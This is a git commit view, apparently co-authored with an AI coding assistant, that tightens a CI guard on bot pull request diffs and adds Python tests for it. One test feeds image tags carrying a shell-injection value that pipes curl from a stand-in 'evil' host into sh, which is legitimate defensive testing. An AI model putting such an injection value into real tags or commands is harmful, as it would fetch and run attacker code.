fix(ci): close the bypasses of the bot pull request diff guard

A change git treats as binary (NUL byte, UTF-16, a -diff attribute) or one with
no removed or no added line now fails, and the line diff runs with --text
--no-ext-diff --no-textconv. Tags are limited to [A-Za-z0-9._-]; the digest must
be present on both sides of an ubuntu job container line and of a FROM line;
matrix version lines must stay in place and rise; paths are taken literally
(--literal-pathspecs); an empty head ref on a pull_request fails closed
(EVENT_NAME). The lint workflow runs the guard from origin/main (the whole
scripts/ directory, since it imports check_image_versions) and falls back to
the pull request's copy with a notice while main has none.

Co-Authored-By: Claude Sonnet 5.5 <[email protected]>
Claude-Session: https://claude.ai/code/session_01MmzvM9skAvYcph2c9EiPcm
This commit is contained in:
Defame1297andClaude Sonnet 5.5 committed 2026-10-26 06:41:20 +00:00
1 parent a57714342b
commit 8e9a8c5df0
3 files changed
+189 -13

No files matched your search

+111
View File
@@ -7,6 +7,7 @@ import subprocess
import sys
import tempfile
import unittest
from unittest import mock
SCRIPTS = pathlib.Path(__file__).resolve().parents[2] / "scripts"
sys.path.insert(0, str(SCRIPTS))
@@ -73,6 +74,39 @@ class RuleTest(unittest.TestCase):
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
def test_tag_charset_is_restricted(self):
bad_tags = ["$(curl${IFS}evil|sh)", "a'b", 'a"b', "a;b", "a`b`", "a$b", "a b"]
for tag in bad_tags:
cases = [
(".gitea/workflows/lint.yml", f" image: git.rkdr.net/mortis/ci:0.2.0@{D1}",
f" image: git.rkdr.net/mortis/ci:{tag}@{D1}"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", f"FROM ubuntu:{tag}@{D1} AS os"),
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", f" image: ubuntu:{tag}@{D1}"),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, tag))
def test_digest_may_not_be_dropped(self):
cases = [
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu:latest AS os"),
("images/ci/Dockerfile", f"FROM ubuntu:24.04@{D1} AS os", "FROM ubuntu AS os"),
("images/ci/Dockerfile", "FROM ubuntu:24.04 AS os", f"FROM ubuntu:24.04@{D1} AS os"),
(".gitea/workflows/image.yml", f" image: ubuntu:24.04@{D1}", " image: ubuntu:latest"),
(".gitea/workflows/image.yml", " image: ubuntu:24.04", f" image: ubuntu:24.04@{D1}"),
]
for path, old, new in cases:
self.assertIsNotNone(self.problem(path, old, new), (path, old, new))
def test_version_lines_stay_in_place_and_rise(self):
v = " version: {}"
self.assertIsNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.1"))]))
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(9, v.format("0.2.1"))]))
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.1"))], [(5, v.format("0.2.0"))]))
self.assertIsNotNone(cbd.version_problem([(5, v.format("0.2.0"))], [(5, v.format("0.2.0"))]))
swapped = cbd.version_problem([(5, v.format("0.1.0")), (9, v.format("0.2.0"))],
[(5, v.format("0.2.0")), (9, v.format("0.1.0"))])
self.assertIsNotNone(swapped)
def test_unequal_line_counts_are_refused(self):
self.assertIsNotNone(cbd.file_problem("requirements-dev.txt", [], ["evil==1.0"]))
self.assertIsNotNone(cbd.file_problem(".pre-commit-config.yaml", [" rev: a"], []))
@@ -112,6 +146,83 @@ class RepoTest(unittest.TestCase):
capture_output=True, text=True, check=False)
return proc.returncode, proc.stdout, proc.stderr
def test_a_nul_containing_file_is_refused(self):
self.write("requirements-dev.txt", "# pins\nansible-core==2.19.14\nreuse==6.3.0\n\0")
self.commit("bot")
code, _, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn("requirements-dev.txt", err)
def test_a_utf16_rewrite_is_refused(self):
text = (self.repo / "requirements-dev.txt").read_text().replace("6.2.0", "6.3.0")
(self.repo / "requirements-dev.txt").write_bytes(text.encode("utf-16"))
self.commit("bot")
code, _, err = self.gate()
self.assertEqual(code, 1, err)
self.assertEqual(len(err.strip().splitlines()), 1, err)
def test_a_diff_attribute_does_not_hide_a_change(self):
self.write(".gitattributes", "requirements-dev.txt -diff\n")
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
self.commit("bot")
code, _, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn(".gitattributes", err)
def test_binary_and_one_sided_patches_are_refused(self):
entries = [("100644", "100644", "M", "requirements-dev.txt")]
for patch in ("Binary files a/x and b/x differ\n", "", "@@ -1 +0,0 @@\n-reuse==6.2.0\n",
"@@ -0,0 +1 @@\n+reuse==6.3.0\n"):
self.assertEqual(len(cbd.check(entries, lambda path, text=patch: text)), 1, patch)
def test_git_is_told_to_take_paths_literally(self):
seen = []
real = cbd.civ.git
def spy(*args, **kwargs):
seen.append(args)
return real(*args, **kwargs)
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
self.commit("bot")
old_cwd = os.getcwd()
self.addCleanup(os.chdir, old_cwd)
os.chdir(self.repo)
with mock.patch.object(cbd.civ, "git", spy):
result = cbd.run(["check_bot_pr_diff.py", "renovate/x", "main"])
self.assertEqual(result[0], [])
patches = [args for args in seen if "-U0" in args]
self.assertTrue(patches)
self.assertTrue(all(args[0] == "--literal-pathspecs" for args in patches), patches)
self.assertTrue(all("--text" in args and "--no-textconv" in args and "--no-ext-diff" in args
for args in patches), patches)
def test_empty_head_ref_on_a_pull_request_fails_closed(self):
self.write("roles/x/main.yml", "a\n")
self.commit("anything")
env = {**os.environ, "EVENT_NAME": "pull_request"}
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo,
capture_output=True, text=True, check=False, env=env)
self.assertEqual(proc.returncode, 1, proc.stderr)
self.assertIn("empty", proc.stderr)
self.assertEqual(len(proc.stderr.strip().splitlines()), 1, proc.stderr)
env["EVENT_NAME"] = "push"
proc = subprocess.run([sys.executable, str(SCRIPTS / "check_bot_pr_diff.py"), "", "main"], cwd=self.repo,
capture_output=True, text=True, check=False, env=env)
self.assertEqual(proc.returncode, 0, proc.stderr)
def test_lowering_a_matrix_version_fails_and_raising_it_passes(self):
self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.1.9")
self.commit("lower")
code, _, err = self.gate()
self.assertEqual(code, 1, err)
self.assertIn("version", err)
run(self.repo, "git", "checkout", "-q", "main")
run(self.repo, "git", "checkout", "-q", "-b", "renovate/ok")
self.edit(".gitea/workflows/image.yml", "version: 0.2.0", "version: 0.2.1")
self.commit("raise")
self.assertEqual(self.gate(head="renovate/ok")[0], 0)
def test_a_realistic_bot_pr_passes(self):
self.edit("requirements-dev.txt", "reuse==6.2.0", "reuse==6.3.0")
self.edit(".pre-commit-config.yaml", "v1.0.0", "v1.1.0")